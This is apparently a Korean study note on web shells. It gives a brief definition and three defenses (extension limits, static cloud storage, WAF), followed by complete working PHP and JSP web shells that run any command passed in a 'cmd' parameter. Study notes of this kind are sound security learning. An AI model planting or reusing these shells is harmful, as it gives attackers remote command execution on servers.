웹쉘 | Notion

웹에서 서버의 쉘에 명령어를 실행할 수 있도록 하는 방식

방어법

동적 리소스 확장자 제한: JSP, PHP 등 제한으로 RCE 공격 방어
클라우드(정적) 스토리지 사용: AWS, Azure, GCP 등으로 파일 업로드 취약점 예방
WAF 활용: 악성 요청 필터링, SQL 인젝션, XSS 등 다양한 웹 공격 방어

예시

php 웹쉘

<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

JSP 웹쉘

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr);
            disr = dis.readLine();
        }
    }
%>
<form method="GET">
    <input type="text" name="cmd">
    <input type="submit" value="실행">
</form>